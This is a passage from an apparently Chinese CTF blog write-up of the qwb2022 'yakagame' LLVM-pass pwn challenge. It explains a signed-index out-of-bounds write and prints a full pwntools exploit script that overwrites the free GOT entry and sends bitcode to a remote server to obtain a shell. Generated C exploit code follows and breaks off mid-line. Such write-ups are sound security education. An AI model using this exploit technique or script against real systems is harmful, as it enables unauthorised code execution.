i64 %261, 20000000000000</span><br><span class="line"> %263 = add nsw i64 %262, 20000000000000</span><br><span class="line"> %264 = add nsw i64 %263, 20000000000000</span><br><span class="line"> %265 = add nsw i64 %264, 20000000000000</span><br><span class="line"> %266 = add nsw i64 %265, 20000000000000</span><br><span class="line"> %267 = add nsw i64 %266, 20000000000000</span><br><span class="line"> %268 = add nsw i64 %267, 20000000000000</span><br><span class="line"> %269 = add nsw i64 %268, 20000000000000</span><br><span class="line"> %270 = add nsw i64 %269, 20000000000000</span><br><span class="line"> %271 = add nsw i64 %270, 20000000000000</span><br><span class="line"> %272 = add nsw i64 %271, 20000000000000</span><br><span class="line"> %273 = add nsw i64 %272, 20000000000000</span><br><span class="line"> %274 = add nsw i64 %273, 20000000000000</span><br><span class="line"> %275 = add nsw i64 %274, 20000000000000</span><br><span class="line"> %276 = add nsw i64 %275, 20000000000000</span><br><span class="line"> %277 = add nsw i64 %276, 20000000000000</span><br><span class="line"> %278 = add nsw i64 %277, 20000000000000</span><br><span class="line"> %279 = add nsw i64 %278, 20000000000000</span><br><span class="line"> %280 = add nsw i64 %279, 20000000000000</span><br><span class="line"> %281 = add nsw i64 %280, 20000000000000</span><br><span class="line"> %282 = add nsw i64 %281, 20000000000000</span><br><span class="line"> %283 = add nsw i64 %282, 20000000000000</span><br><span class="line"> %284 = add nsw i64 %283, 20000000000000</span><br><span class="line"> %285 = add nsw i64 %284, 20000000000000</span><br><span class="line"> %286 = add nsw i64 %285, 20000000000000</span><br><span class="line"> %287 = add nsw i64 %286, 20000000000000</span><br><span class="line"> %288 = add nsw i64 %287, 20000000000000</span><br><span class="line"> %289 = add nsw i64 %288, 20000000000000</span><br><span class="line"> %290 = add nsw i64 %289, 20000000000000</span><br><span class="line"> %291 = add nsw i64 %290, 20000000000000</span><br><span class="line"> %292 = add nsw i64 %291, 20000000000000</span><br><span class="line"> %293 = add nsw i64 %292, 20000000000000</span><br><span class="line"> %294 = add nsw i64 %293, 20000000000000</span><br><span class="line"> %295 = add nsw i64 %294, 20000000000000</span><br><span class="line"> %296 = add nsw i64 %295, 20000000000000</span><br><span class="line"> %297 = add nsw i64 %296, 20000000000000</span><br><span class="line"> %298 = add nsw i64 %297, 20000000000000</span><br><span class="line"> %299 = add nsw i64 %298, 20000000000000</span><br><span class="line"> %300 = add nsw i64 %299, 20000000000000</span><br><span class="line"> %301 = add nsw i64 %300, 20000000000000</span><br><span class="line"> %302 = add nsw i64 %301, 20000000000000</span><br><span class="line"> %303 = add nsw i64 %302, 20000000000000</span><br><span class="line"> %304 = add nsw i64 %303, 20000000000000</span><br><span class="line"> %305 = add nsw i64 %304, 20000000000000</span><br><span class="line"> %306 = add nsw i64 %305, 20000000000000</span><br><span class="line"> %307 = add nsw i64 %306, 20000000000000</span><br><span class="line"> %308 = add nsw i64 %307, 20000000000000</span><br><span class="line"> %309 = add nsw i64 %308, 20000000000000</span><br><span class="line"> %310 = add nsw i64 %309, 20000000000000</span><br><span class="line"> %311 = add nsw i64 %310, 20000000000000</span><br><span class="line"> %312 = add nsw i64 %311, 20000000000000</span><br><span class="line"> %313 = add nsw i64 %312, 20000000000000</span><br><span class="line"> %314 = add nsw i64 %313, 20000000000000</span><br><span class="line"> %315 = add nsw i64 %314, 1</span><br><span class="line"> ret i64 %315</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h2 id="qwb2022-yakagame"><a href="#qwb2022-yakagame" class="headerlink" title="qwb2022_yakagame"></a>qwb2022_yakagame</h2><h3 id="reverse-3"><a href="#reverse-3" class="headerlink" title="reverse"></a>reverse</h3><p>fight分支,挑战boss,赢了更新分数,输赢都会判断分数是否能进后门。<br>一开始以为把boss改成负数就可以但是发现这个比较有点问题,是64位有符号的比较而且boss的分数是int32位,所以改成负数也没有用。<br><img src="/2022/08/03/llvm-pwn/16.png" alt="fight"></p>
<p>merge, destroy, upgrade分支,对weaponlist做一些更新,没啥用。<br><img src="/2022/08/03/llvm-pwn/17.png" alt="mdu"></p>
<p>wuxiangdeyidao, zhanjinniuza, guobapenhuo, tiandongwanxiang。<del>woc, yuan!</del> 对cmd命令做一些运算,同时打掉boss一点血,一开始还以为能把cmd字符串改成<code>/bin/sh</code>, <code>cat flag</code>之类的,后来觉得太麻烦了<del>我也不会</del>。<br><img src="/2022/08/03/llvm-pwn/18.png" alt="wzgt"></p>
<p>else分支,出现新函数(武器)名,第一次放入一个map结构,第二次更新到weaponlist,更新的时候下标是有符号的,可以后向越界,同时写的一个字节是第一次放入map时候的内容。<br><img src="/2022/08/03/llvm-pwn/19.png" alt="else"></p>
<h3 id="exp-3"><a href="#exp-3" class="headerlink" title="exp"></a>exp</h3><p>利用越界把<code>weaponlist</code>前面的<code>score</code>和<code>cmd</code>指针都改掉,就能进后门并拿到shell。</p>
<p>本地ubnutu2004打不通,但是远程通了拿到shell,日常玄学。</p>
<p>exp.py<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import os</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">elf = ELF('./opt-8')</span><br><span class="line"></span><br><span class="line">def gene():</span><br><span class="line"> # indexs = [0, 1, 0x70, 0xb3, 0xbe, 0xc9, 0xd4, 0xdf, 0xea, 0xf5, 2, 0xd, 0x18, 0x23, 0x2e, 0x39, </span><br><span class="line"> # 0x44, 0x4f, 0x5a, 0x65, 0x71, 0x7c, 0x87, 0x92, 0x9d, 0xa8, 0xaf, 0xb0, 0xb1, 0xb2, 0xb4, 0xb5, </span><br><span class="line"> # 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbf, 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, </span><br><span class="line"> # 0xc7, 0xc8, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd5, 0xd6, 0xd7, 0xd8, </span><br><span class="line"> # 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, </span><br><span class="line"> # 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf6, 0xf7]</span><br><span class="line"> payload = list(range(0x100))</span><br><span class="line"> got = elf.got['free']</span><br><span class="line"> sh = 0x446972</span><br><span class="line"> payload[85] = got & 0xff</span><br><span class="line"> payload[86] = (got >> 8) & 0xff</span><br><span class="line"> payload[87] = (got >> 16) & 0xff</span><br><span class="line"> payload[88] = (got >> 24) & 0xff</span><br><span class="line"> payload[89] = (got >> 32) & 0xff</span><br><span class="line"> payload[9] = (got >> 40) & 0xff</span><br><span class="line"> payload[78] = sh & 0xff</span><br><span class="line"> payload[79] = (sh >> 8) & 0xff</span><br><span class="line"> payload[8] = (sh >> 16) & 0xff</span><br><span class="line"> payload[80] = (sh >> 24) & 0xff</span><br><span class="line"> payload[81] = (sh >> 32) & 0xff</span><br><span class="line"> payload[82] = (sh >> 40) & 0xff</span><br><span class="line"> f = open('exp.c', 'w')</span><br><span class="line"> for i in range(len(payload)):</span><br><span class="line"> f.write('void new_weapon' + str(i) + '(int a);\n')</span><br><span class="line"> f.write('void fight(int a);\n')</span><br><span class="line"> f.write('void gamestart() {\n')</span><br><span class="line"> for i in range(len(payload)):</span><br><span class="line"> f.write(' new_weapon' + str(i) + '(' + str(payload[i]) + ');\n')</span><br><span class="line"> f.write(' new_weapon85(0);\n')</span><br><span class="line"> f.write(' new_weapon86(0);\n')</span><br><span class="line"> f.write(' new_weapon87(0);\n')</span><br><span class="line"> f.write(' new_weapon88(0);\n')</span><br><span class="line"> f.write(' new_weapon89(0);\n')</span><br><span class="line"> f.write(' new_weapon9(0);\n')</span><br><span class="line"> f.write(' new_weapon78(0);\n')</span><br><span class="line"> f.write(' new_weapon79(0);\n')</span><br><span class="line"> f.write(' new_weapon8(0);\n')</span><br><span class="line"> f.write(' new_weapon80(0);\n')</span><br><span class="line"> f.write(' new_weapon81(0);\n')</span><br><span class="line"> f.write(' new_weapon82(0);\n')</span><br><span class="line"> f.write(' fight(0);\n')</span><br><span class="line"> f.write('}\n')</span><br><span class="line"> f.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> # gene()</span><br><span class="line"> # os.system('clang -emit-llvm -S exp.c -o exp.ll')</span><br><span class="line"> # os.system('clang -emit-llvm -c exp.c -o exp.bc')</span><br><span class="line"> # f = open('exp.ll', 'r')</span><br><span class="line"> # f = open('exp.c', 'r')</span><br><span class="line"> f = open('./exp.bc', 'rb')</span><br><span class="line"> payload = f.read()</span><br><span class="line"> f.close()</span><br><span class="line"> payload2 = base64.b64encode(payload)</span><br><span class="line"> io = remote('47.94.166.51', 12889)</span><br><span class="line"> io.sendlineafter('give me your code(attack or exp base64code)\n', payload2)</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>exp.c<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br></pre></td><td class="code"><pre><span class="line">void new_weapon0(int a);</span><br><span class="line">void new_weapon1(int a);</span><br><span class="line">void new_weapon2(int a);</span><br><span class="line">void new_weapon3(int a);</span><br><span class="line">void new_weapon4(int a);</span><br><span class="line">void new_weapon5(int a);</span><br><span class="line">void new_weapon6(int a);</span><br><span class="line">void new_weapon7(int a);</span><br><span class="line">void new_weapon8(int a);</span><br><span class="line">void new_weapon9(int a);</span><br><span class="line">void new_weapon10(int a);</span><br><span class="line">void new_weapon11(int a);</span><br><span class="line">void new_weapon12(int a);</span><br><span class="line">void new_weapon13(int a);</span><br><span class="line">void new_weapon14(int a);</span><br><span class="line">void new_weapon15(int a);</span><br><span class="line">void new_weapon16(int a);</span><br><span class="line">void new_weapon17(int a);</span><br><span class="line">void new_weapon18(int a);</span><br><span class="line">void new_weapon19(int a);</span><br><span class="line">void new_weapon20(int a);</span><br><span class="line">void new_weapon21(int a);</span><br><span class="line">void new_weapon22(int a);</span><br><span class="line">void new_weapon23(int a);</span><br><span class="line">void new_weapon24(int a);</span><br><span class="line">void new_weapon25(int a);</span><br><span class="line">void new_weapon26(int a);</span><br><span class="line">void new_weapon27(int a);</span><br><span class="line">void new_weapon28(int a);</span><br><span class="line">void new_weapon29(int a);</span><br><span class="line">void new_weapon30(int a);</span><br><span class="line">void new_weapon31(int a);</span><br><span class="line">void new_weapon32(int a);</span><br><span class="line">void new_weapon33(int a);</span><br><span class="line">void new_weapon34(int a);</span><br><span class="line">void new_weapon35(int a);</span><br><span class="line">void new_weapon36(int a);</span><br><span class="line">void new_weapon37(int a);</span><br><span class="line">void new_weapon38(int a);</span><br><span class="line">void new_weapon39(int a);</span><br><span class="line">void new_weapon40(int a);</span><br><span class="line">void new_weapon41(int a);</span><br><span class="line">void new_weapon42(int a);</span><br><span class="line">void new_weapon43(int a);</span><br><span class="line">void new_weapon44(int a);</span><br><span class="line">void new_weapon45(int a);</span><br><span class="line">void new_weapon46(int a);</span><br><span class="line">void new_weapon47(int a);</span><br><span class="line">void new_weapon48(int a);</span><br><span class="line">void new_weapon49(int a);</span><br><span class="line">void new_weapon50(int a);</span><br><span class="line">void new_weapon51(int a);</span><br><span class="line">void new_weapon52(int a);</span><br><span class="line">void new_weapon53(int a);</span><br><span class="line">void new_weapon54(int a);</span><br><span class="line">void new_weapon55(int a);</span><br><span class="line">void new_weapon56(int a);</span><br><span class="line">void new_weapon57(int a);</span><br><span class="line">void new_weapon58(int a);</span><br><span class="line">void new_weapon59(int a);</span><br><span class="line">void new_weapon60(int a);</span><br><span class="line">void new_weapon61(int a);</span><br><span class="line">void new_weapon62(int a);</span><br><span class="line">void new_weapon63(int a);</span><br><span class="line">void new_weapon64(int a);</span><br><span class="line">void new_weapon65(int a);</span><br><span class="line">void new_weapon66(int a);</span><br><span class="line">void new_weapon67(int a);</span><br><span class="line">void new_weapon68(int a);</span><br><span class="line">void new_weapon69(int a);</span><br><span class="line">void new_weapon70(int a);</span><br><span class="line">void new_weapon71(int a);</span><br><span class="line">void new_weapon72(int a);</span><br><span class="line">void new_weapon73(int a);</span><br><span class="line">void new_weapon74(int a);</span><br><span class="line">void new_weapon75(int a);</span><br><span class="line">void new_weapon76(int a);</span><br><span class="line">void new_weapon77(int a);</span><br><span class="line">void new_weapon78(int a);</span><br><span class="line">void new_weapon79(int a);</span><br><span class="line">void new_weapon80(int a);</span><br><span class="line">void new_weapon81(int a);</span><br><span class="line">void new_weapon82(int a);</span><br><span class="line">void new_weapon83(int a);</span><br><span class="line">void new_weapon84(int a);</span><br><span class="line">void new_weapon85(int a);</span><br><span class="line">void new_weapon86(int a);</span><br><span class="line">void new_weapon87(int a);</span><br><span class="line">void new_weapon88(int a);</span><br><span class="line">void new_weapon89(int a);</span><br><span class="line">void new_weapon90(int a);</span><br><span class="line">void new_weapon91(int a);</span><br><span class="line">void new_weapon92(int a);</span><br><span class="line">void new_weapon93(int a);</span><br><span class="line">void new_weapon94(int a);</span><br><span class="line">void new_weapon95(int a);</span><br><span class="line">void new_weapon96(int a);</span><br><span class="line">void new_weapon97(int a);</span><br><span class="line">void new_weapon98(int a);</span><br><span class="line">void new_weapon99(int a);</span><br><span class="line">void new_weapon100(int a);</span><br><span class="line">void new_weapon101(int a);</span><br><span class="line">void new_weapon102(int a);</span><br><span class="line">void new_weapon103(int a);</span><br><span class="line">void new_weapon104(int a);</span><br><span class="line">void new_weapon105(int a);</span><br><span class="line">void new_weapon106(int a);</span><br><span class="line">void new_weapon107(int a);</span><br><span class="line">void new_weapon108(int a);</span><br><span class="line">void new_weapon109(int a);</span><br><span class="line">void new_weapon110(int a);</span><br><span class="line">void new_weapon111(int a);</span><br><span class="line">void new_weapon112(int a);</span><br><span class="line">void new_weapon113(int a);</span><br><span class="line">void new_weapon114(int a);</span><br><span class="line">void new_weapon115(int a);</span><br><span class="line">void new_weapon116(int a);</span><br><span class="line">void new_weapon117(int a);</span><br><span class="line">void new_weapon118(int a);</span><br><span class="line">void new_weapon119(int a);</span><br><span class="line">void new_weapon120(int a);</span><br><span class="line">void new_weapon121(int a);</span><br><span class="line">void new_weapon122(int a);</span><br><span class="line">void new_weapon123(int a);</span><br><span class="line">void new_weapon124(int a);</span><br><span class="line">void new_weapon125(int a);</span><br><span class="line">void new_weapon126(int a);</span><br><span class="line">void new_weapon127(int a);</span><br><span class="line">void new_weapon128(int a);</span><br><span class="line">void new_weapon129(int a);</span><br><span class="line">void new_weapon130(int a);</span><br><span class="line">void new_weapon131(int a);</span><br><span class="line">void new_weapon132(int a);</span><br><span class="line">void new_weapon133(int a);</span><br><span class="line">void new_weapon134(int a);</span><br><span class="line">void new_weapon135(int a);</span><br><span class="line">void new_weapon136(int a);</span><br><span class="line">void new_weapon137(int a);</span><br><span class="line">void new_weapon138(int a);</span><br><span class="line">void new_weapon139(int a);</span><br><span class="line">void new_weapon140(int a);</span><br><span class="line">void new_weapon141(int a);</span><br><span class="line">void new_weapon142(int a);</span><br><span class="line">void new_weapon143(int a);</span><br><span class="line">void new_weapon144(int a);</span><br><span class="line">void new_weapon145(int a);</span><br><span class="line">void new_weapon146(int a);</span><br><span class="line">void new_weapon147(int a);</span><br><span class="line">void new_weapon148(int a);</span><br><span class="line">void new_weapon149(int a);</span><br><span class="line">void new_weapon150(int a);</span><br><span class="line">void new_weapon151(int a);</span><br><span class="line">void new_weapon152(int a);</span><br><span class="line">void new_weapon153(int a);</span><br><span class="line">void new_weapon154(int a);</span><br><span class="line">void new_weapon155(int a);</span><br><span class="line">void new_weapon156(int a);</span><br><span class="line">void new_weapon157(int a);</span><br><span class="line">void new_weapon158(int a);</span><br><span class="line">void new_weapon159(int a);</span><br><span class="line">void new_weapon160(int a);</span><br><span class="line">void new_weapon161(int a);</span><br><span class="line">void new_weapon162(int a);</span><br><span class="line">void new_weapon163(int a);</span><br><span class="line">void new_weapon164(int a);</span><br><span class="line">void new_weapon165(int a);</span><br><span class="line">void new_weapon166(int a);</span><br><span class="line">void new_weapon167(int a);</span><br><span class="line">void new_weapon168(int a);</span><br><span class="line">void new_weapon169(int a);</span><br><span class="line">void new_weapon170(int a);</span><br><span class="line">void new_weapon171(int a);</span><br><span class="line">void new_weapon172(int a);</span><br><span class="line">void new_weapon173(int a);</span><br><span class="line">void new_weapon174(int a);</span><br><span class="line">void new_weapon175(int 